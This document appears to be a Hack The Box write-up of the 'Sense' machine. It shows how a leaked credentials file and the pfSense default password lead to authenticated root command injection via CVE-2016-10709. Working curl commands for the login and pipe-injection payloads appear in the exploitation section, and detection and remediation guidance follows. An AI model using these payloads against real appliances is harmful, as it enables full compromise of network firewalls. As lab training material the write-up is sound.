Skip to content
Back to all posts

HTB: Sense

· 15 min easy Other Sense

A plaintext credential file and default password on a pfSense 2.1.3 appliance lead to authenticated command injection (CVE-2016-10709) running as root. Network appliances run as root by design, making management interface access the only real security boundary.

Overview

Sense is a retired Easy-rated machine running pfSense 2.1.3 on FreeBSD 10.1-RELEASE-p9. The attack surface is minimal: only the pfSense web management interface on HTTPS (port 443), with HTTP on port 80 redirecting to it. No SSH, no other services.

A plaintext file left in the web root (/system-users.txt) discloses a username and instructs the reader to use the “company default” password, which for pfSense is pfsense. With valid credentials, CVE-2016-10709 provides command injection through the status_rrd_graph_img.php endpoint’s graph parameter, where unsanitised input is concatenated into an rrdtool shell pipeline.

The critical architectural detail: pfSense runs its entire web interface as root. It has to. The interface modifies firewall rules, network interfaces, and routing tables, all of which require superuser privileges on FreeBSD. There is no privilege escalation step because there is nowhere to escalate to. This is not a misconfiguration; it is inherent to how network appliance software operates. It is also why compromising a firewall appliance is among the worst possible outcomes in network security: the attacker gains full visibility into network topology, VPN configurations, routing tables, and every firewall rule in a single step.

Reconnaissance

I start with a service-version scan to map the attack surface:

nmap -sC -sV -oA scans/sense 10.129.15.23
PortServiceProduct / VersionNotes
80HTTPlighttpd 1.4.35301 redirect to HTTPS
443HTTPSlighttpd 1.4.35pfSense 2.x web interface

The SSL certificate is expired and carries the hostname sense.htb, which I add to /etc/hosts. The login page identifies the application as pfSense. No other ports are open; this is a single-service machine.

lighttpd 1.4.35 dates to 2014. The version alone suggests the system has not been updated in years. I check for lighttpd-specific vulnerabilities but find nothing directly exploitable without authentication.

Attack Surface Analysis

Directory discovery

With only a web interface available, directory brute-forcing is the logical first step. I use gobuster because it handles HTTPS certificate errors cleanly with the -k flag and supports concurrent threads well:

gobuster dir -u https://10.129.15.23 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -k -t 40 -x txt,php,html

I include .txt extensions because appliance web roots often contain leftover documentation, changelogs, and notes. This proves critical.

PathStatusNotes
/system-users.txt200Plaintext credentials file
/changelog.txt200Version and patch history
/index.php200pfSense login (CSRF-protected)
/xmlrpc.php200XML-RPC endpoint (requires auth)
/tree/200Empty directory listing

Credential discovery

/system-users.txt contains:

####Support ticket###

Please create the following user

username: Rohit
password: company default

“Company default” for pfSense is pfsense. This is documented in pfSense’s own installation guide and has been the factory default since the project’s inception. The file itself is a support ticket that was never cleaned up: a common pattern in appliance deployments where the web root doubles as a convenient file drop.

/changelog.txt confirms pfSense 2.1.3-RELEASE and explicitly notes one security patch that remains unapplied. This is a strong signal that the system is vulnerable to known CVEs fixed after 2.1.3.

Failed approach: XML-RPC

Before pursuing the web login, I tested whether xmlrpc.php accepted the same credentials. pfSense’s XML-RPC interface is used for configuration synchronisation between HA cluster members. If accessible, it provides a programmatic interface that is often easier to script against than the CSRF-protected web UI. The endpoint returned 401 for the rohit account; XML-RPC access requires admin privileges that this user does not have.

CVE research

pfSense 2.1.3 has multiple known vulnerabilities. The most impactful is a command injection in status_rrd_graph_img.php:

AttributeValue
CVECVE-2016-10709
CVSS v38.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-78 (OS Command Injection)
Root causeUnsanitised graph parameter passed into shell pipeline
AffectedpfSense < 2.3
Fixed inpfSense 2.3
MITRE ATT&CKT1059.004 (Unix Shell)

The CVSS score reflects the combination of low attack complexity, low privileges required, and complete impact across confidentiality, integrity, and availability. The “low privilege” rating is generous; combined with the default password disclosure, this is effectively unauthenticated.

Vulnerability Analysis

The status_rrd_graph_img.php endpoint generates RRD (Round Robin Database) graphs for network statistics. It accepts a graph parameter specifying the RRD filename to render. The PHP code constructs a shell command by concatenating this parameter directly into a pipeline that invokes rrdtool graph. No input validation, no escaping, no parameterisation.

The injection works because the parameter sits mid-pipeline. Standard semicolon injection (; cmd) would break the pipeline syntax and produce a shell error. Instead, the correct approach uses pipe characters: file|cmd|echo. This inserts an arbitrary command as a new stage between two existing pipeline stages. The trailing |echo absorbs whatever follows in the original pipeline and suppresses rrdtool error output that would otherwise clutter the response.

The web server process on pfSense is php-fpm running as root (uid 0). This is not a misconfiguration. pfSense’s web interface calls functions that modify pf.conf (the packet filter configuration), restart services, and alter network interface settings. All of these operations require root on FreeBSD. The pfSense developers made a deliberate architectural choice to run the web process as root rather than implementing a privilege separation model with setuid helpers or a privileged daemon. The trade-off is simplicity of implementation versus blast radius on compromise.

Exploitation

Authentication

pfSense protects its login form with CSRF tokens. Each page load generates a unique csrfMagicToken that must accompany the POST request. Without it, the server rejects the login attempt with a 403. The flow requires two requests: one to fetch the token, one to submit credentials.

# Extract CSRF token from login page
TOKEN=$(curl -sk https://10.129.15.23/index.php \
  | grep -oP 'csrfMagicToken[^"]*"[^"]*"' \
  | head -1 | grep -oP 'sid:[^"]+')

# Authenticate and save session cookie
curl -sk -c cookies.txt -X POST https://10.129.15.23/index.php \
  -d "usernamefld=rohit&passwordfld=pfsense&login=Login&__csrf_magic=sid:${TOKEN}"

Note the lowercase rohit in the username field. pfSense normalises usernames to lowercase internally, so the capitalised “Rohit” from system-users.txt works either way.

Command injection via graph parameter

With a valid session cookie, I test command injection:

curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|id|echo"

The response includes id output:

uid=0(root) gid=0(root) groups=0(wheel)

Root. No privilege escalation needed.

The database=queues parameter selects any valid RRD category; its value does not matter for the injection. The graph parameter does the work: queues-hva.rrd is a plausible RRD filename that satisfies whatever prefix parsing exists, followed by |id|echo which injects the id command into the pipeline.

Flag extraction via web root staging

My first instinct was a reverse shell. It failed: pfSense’s own packet filter rules block outbound connections from the appliance. This is sensible default behaviour for a firewall; the management interface should not initiate outbound connections. I confirmed this by attempting a Python reverse shell and watching for the connection on my listener. Nothing arrived.

The alternative: copy files to the web root and retrieve them via HTTPS. Since we are root and the web root is at /usr/local/www/, this is trivial:

# User flag
curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/home/rohit/user.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]

# Root flag
curl -sk -b cookies.txt \
  "https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/root/root.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]

The + characters are URL-encoded spaces. The command copies each flag file to a predictable location in the web root, where it can be fetched without authentication. In a real engagement, cleaning up staged files afterwards is mandatory.

Post-Exploitation

The command injection runs as root (uid 0). There is no intermediate user context and no privilege escalation step.

OS: FreeBSD 10.1-RELEASE-p9
Kernel: FreeBSD 10.1-RELEASE-p9 amd64
User: root (uid=0, gid=0, groups=wheel)
Web root: /usr/local/www/
pfSense version: 2.1.3-RELEASE

FreeBSD 10.1 reached end-of-life in November 2016. The system is missing years of kernel and userland security patches.

In a real engagement, a compromised pfSense appliance provides several high-value assets:

  • Network topology: complete visibility into all firewall rules, NAT mappings, interfaces, routes, and VLAN configurations
  • Credentials: user database, VPN pre-shared keys, RADIUS shared secrets, LDAP bind passwords (all stored in config.xml)
  • Pivot capability: modify firewall rules to permit lateral movement, create new VPN tunnels, or redirect traffic
  • Persistence: add a cron job, create a new admin user, or install a package via the pfSense package manager

The configuration backup at /diag_backup.php exports all of this as a single XML file.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1078.001Authentication logs showing login with default credentials
DiscoveryT1083HTTP requests to /system-users.txt and /changelog.txt
ExecutionT1059.004Web server logs with pipe characters in graph parameter
ExfiltrationT1567File creation in web root (/usr/local/www/) by non-web process

Web server logs: the graph parameter containing pipe characters and OS commands is unambiguous. Any request to status_rrd_graph_img.php with | in the query string should trigger an alert. lighttpd logs the full request URI by default, making this detection straightforward to implement.

Authentication monitoring: pfSense logs authentication events to /var/log/system.log. Failed and successful logins from unexpected source IPs should trigger alerts. Default credential usage can be detected by maintaining a list of accounts known to use factory passwords and alerting on their first successful login.

File integrity monitoring: new files appearing in /usr/local/www/ that were not placed by the pfSense package manager indicate post-exploitation activity. FreeBSD’s mtree utility can baseline the web root and detect changes. On pfSense specifically, the /usr/local/www/ directory should only change during firmware upgrades.

Access logs for sensitive paths: HTTP requests for /system-users.txt, /changelog.txt, and other non-application files in the web root are reconnaissance indicators. These files should not exist, but if they do, access to them should be logged and reviewed.

Remediation

PriorityActionEffortImpact
P0Upgrade pfSense to current stable (2.7.x)MediumCritical
P0Remove /system-users.txt from web rootLowCritical
P0Change all passwords from defaults immediatelyLowCritical
P1Restrict management interface access by source IPLowHigh
P1Audit and purge web root of non-application filesLowHigh
P1Enable pfSense’s built-in login protection (rate limiting, lockout)LowHigh
P2Renew or replace the expired TLS certificateLowMedium
P2Enable two-factor authentication for admin accessMediumMedium
P3Deploy syslog forwarding to a SIEM for audit trailMediumMedium

The deeper issue is architectural. pfSense runs as root by design; every authenticated vulnerability in the web interface is a root compromise. This makes access control to the management interface the primary security boundary. Restricting it to specific management hosts or a dedicated out-of-band management VLAN is not optional; it is the single most important defensive control for any network appliance. The management plane must be treated as a privileged network zone with the same rigour applied to domain controller access in Active Directory environments.

Key Takeaways

  1. Network appliances run as root by design. Firewalls, routers, and load balancers need root to manage network interfaces, routing tables, and packet filtering. Any authenticated RCE in the management interface yields full system access with no escalation step. This makes access control to the management plane the primary security control; patching is secondary. Segment the management interface onto a dedicated VLAN with strict ACLs.

  2. Default credentials remain one of the most effective attack vectors. The pfSense default password is pfsense, documented in their own installation guide. Combined with a credential disclosure file abandoned in the web root, this box had zero effective authentication. Every deployment process must force a password change before network exposure. Automated scanning for factory defaults (tools like changeme or custom Nessus policies) should be part of regular vulnerability assessments.

  3. When reverse shells fail, stage to the web root. If the target runs a web server and you have write access to the document root, copy output files there and retrieve them via HTTP. No outbound connection required. This technique bypasses egress filtering entirely. Clean up staged files afterwards; leaving them is both an operational security failure and a courtesy issue on shared lab environments.

  4. Pipe injection differs from semicolon injection. The graph parameter is interpolated mid-pipeline, so semicolons produce syntax errors rather than command execution. The correct syntax is file|cmd|echo, inserting a command between two existing pipeline stages. Understanding where the injection point sits within the shell command determines which metacharacters produce valid syntax. Always map the surrounding command structure before selecting injection characters.